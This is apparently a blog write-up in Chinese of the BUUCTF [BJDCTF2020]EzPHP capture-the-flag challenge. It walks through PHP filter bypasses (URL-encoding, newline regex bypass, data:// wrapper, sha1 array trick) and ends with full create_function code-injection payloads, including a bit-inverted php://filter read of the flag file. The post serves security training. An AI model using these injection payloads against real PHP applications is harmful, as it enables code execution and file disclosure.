BUUCTF [BJDCTF2020]EzPHP1详解
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录
- 前言
- 一、知识
- 二、题目详解
前言
提示:这里可以添加本文要记录的大概内容:
对BUUCTF [BJDCTF2020]EzPHP1的多重绕过记录
提示:以下是本篇文章正文内容,下面案例可供参考
一、知识
extract(array,extract_rules,prefix)
extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量,该函数返回成功设置的变量数目。
例子:
<?php
$code='';
$arg='';
$flag=array('code'=>'a','arg'=>'b');
extract($flag);
print(extract($flag));
printf($code);
print($arg)
?>运行结果:2ab
example: http://exmaple.com/example/index.php?test=test
$_SERVER 服务器和执行环境信息
$_SERVER['QUERY_STRING'] 获取查询语句,获取?后面的值("test=test")
$_SERVER['REQUEST_URI'] 获取URL后的值("/example/index.php?test=test")
$_SERVER['SCRIPT_NAME'] 获取当前脚本路径("/example/index.php")
$SERVER['PHP_SELF'] 获取当前脚本文件名("/example/index.php")
$_REQUEST 用于收集HTML表单提交的数据
$_REQUEST — HTTP Request 变量,默认情况下包含了 $_GET,$_POST 和 $_COOKIE 的数组。
$_REQUEST绕过,$_REQUEST在同时接收GET和POST参数时,POST优先级更高,先接受post参数。
md5与sha1加密可以利用数组返回false进行绕过
get_defined_vars():返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
creation_function()注入(PHP8已移除):
$func = create_function('$a, $b', 'return $a/$b;');
echo $func(2, 1);输出2
等价于
<?php
function func($a,$b)
{return $a/$b;
}
echo func(2,1)
?>输出2
无字符webshell:进行取反绕过
二、题目详解
1,进入题目查看源代码:发现 GFXEIM3YFZYGQ4A= ,一个等号结尾,应该为base32,使用base32解密得1nD3x.php。
2,访问1nD3x.php:
得到题目源码:
<?php
highlight_file(__FILE__);
error_reporting(0); $file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";if($_SERVER) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])) die('You seem to want to do something bad?');
}if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";}
} else die('fxck you! What do you want to do ?!');if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); }
} if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else { include "flag.php";$code('', $arg);
} ?>
对代码进行逐个分析:
if($_SERVER) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])) die('You seem to want to do something bad?');
}
查询语句中不能存在shana,debu等等一堆字符,由于$SERVER提取不会进行URL解码,而$_GET['args']会进行URL解码,可以进行URL编码绕过
if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";}
} else die('fxck you! What do you want to do ?!');
file文件中不能存在http和https协议,并且debu参数要从头匹配aqua_is_cute但又不==aqua_is_cute,可以使用换行符绕过
if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); }
}
传入的参数中不能存在a-Z的字母,$_REQUEST绕过,$_REQUEST在同时接收GET和POST参数时,POST优先级更高,先接受post参数。
if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
$file的内容为debu_debu_aqua,可以使用伪协议data://text/plain;base64,[base64_encode_shell]写入
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
使用数组绕过
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else { include "flag.php";$code('', $arg);
} ?>
create_function()进行注入
payload:
debu=aqua_is_cute
&file=data://text/plain,debu_debu_aqua&shana[]=1&flag[code]=creation_function&flag[arg]=;}var_dump(get_defined_vars());//
POST:
dubu=1&file=2
注意://注释掉后方的}
对payload中被过滤的字符进行url编码得payload:
%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//
得到flag在readf14g.php中,需要读取出来,可以使用php://伪协议,并使用取反绕过
最终payload:
%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=;}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));
使用base64解码得到flag。
BUUCTF [BJDCTF2020]EzPHP1详解相关推荐
- BuuCTF难题详解| Misc | VN 2020 公开赛 内存取证
题目介绍 这道题目,我们要在Buu上面做需要的步骤需要调整,先下载链接内容,然后在下载附加. BuuCTF难题详解| Misc | V&N 2020 公开赛 内存取证 P1 我们使用volat ...
- group_concat函数详解
https://blog.csdn.net/ys410900345/article/details/44828571 问了好多人,都不知道group_concat这个函数. 这个函数好啊,能将相同的行 ...
- HCTF 2018:WarmUp(源代码详解)
前言 之前刷BUUCTF时遇到过这题,这次刷XCTF时也遇到了,那就写个详细点的WP吧 寻找利用点 打开题目,是一个滑稽图 没发现什么,查看下网页源代码,发现了source.php 访问source. ...
- 系统调用功能号与execve函数详解
先看看下面通过系统调用实现的hello world代码: .section .data msg:.ascii "Hello world!\n" .section .text .gl ...
- axb_2019_heap详解
关于axb_2019_heap的详解 参考:buuctf axb_2019_heap 程序流程 banner:存在格式化字符串漏洞,可以泄漏栈上的信息 add:根据idx创建size(大于0x80)大 ...
- 从命令行到IDE,版本管理工具Git详解(远程仓库创建+命令行讲解+IDEA集成使用)
首先,Git已经并不只是GitHub,而是所有基于Git的平台,只要在你的电脑上面下载了Git,你就可以通过Git去管理"基于Git的平台"上的代码,常用的平台有GitHub.Gi ...
- JVM年轻代,老年代,永久代详解
秉承不重复造轮子的原则,查看印象笔记分享连接↓↓↓↓ 传送门:JVM年轻代,老年代,永久代详解 速读摘要 最近被问到了这个问题,解释的不是很清晰,有一些概念略微模糊,在此进行整理和记录,分享给大家.在 ...
- docker常用命令详解
docker常用命令详解 本文只记录docker命令在大部分情境下的使用,如果想了解每一个选项的细节,请参考官方文档,这里只作为自己以后的备忘记录下来. 根据自己的理解,总的来说分为以下几种: Doc ...
- 通俗易懂word2vec详解词嵌入-深度学习
https://blog.csdn.net/just_so_so_fnc/article/details/103304995 skip-gram 原理没看完 https://blog.csdn.net ...
最新文章
- 量子力学——超弦理论、M理论(膜论)
- java sundry tips
- java期末考试2013及答案_java笔试经典(题及答案)2013.doc
- ActiveMQ-为什么需要消息中间件及优缺点
- JM8.6之get_block() 1/4亮度像素内插详述
- php和app关系,php在app开发中的应用
- tomcat 设置编码格式
- 通达信资金净流入公式_净流入副图源码指标 通达信 贴图
- 能破解百度网盘提取码,云盘万能钥匙宣布关闭!
- MATLAB与STK互联18:卫星对象操作(9)—地面站可见性计算并获取数据2(补充上篇博文,有些问题需要澄清)
- AGND为模拟地,DGND为数字地
- DNS到底是干什么用的
- [操作系统] elementary os系统美化插件
- 深度学习网络模型梳理
- java中pl是什么意思,英语中pl是什么意思
- 20041220 GETSTRING.CS
- linux+创建一个v文件共享,win10与Ubantu双系统:Linux下开启FTP服务器与创建无线热点(实现文件共享)...
- vanilla_如何使用Vanilla JavaScript构建简单的全屏幻灯片
- 在棋盘上放米粒php,棋盘上的米粒(Python)
- 学习mysql_day2
热门文章
- 最新-手把手教Unity2017.3 Android Studio3.0.1 SDK接入教程含jdk和sdk环境配置
- 训练SSD时,viz报错
- 计算机计算资产分析表,财务指标计算公式excel,用EXCEL做财务指标分析,如何使用其他工作簿做公式计算??...
- python算法习题(一): 排列组合
- A Weakly Supervised Convolutional Network for Change Segmentation and Classification
- 万能解决问题思路方法——3W
- 复旦大学计算机系专业就业方向,2021年复旦大学专业排行榜,哪个专业就业比较好...
- 基于腾讯云的多人视频会议的在线语音转写功能的实现
- 暴力+格式转化+板子真题 蓝桥
- 软件版本中的Alpha,Beta,RC,Trial是什么意思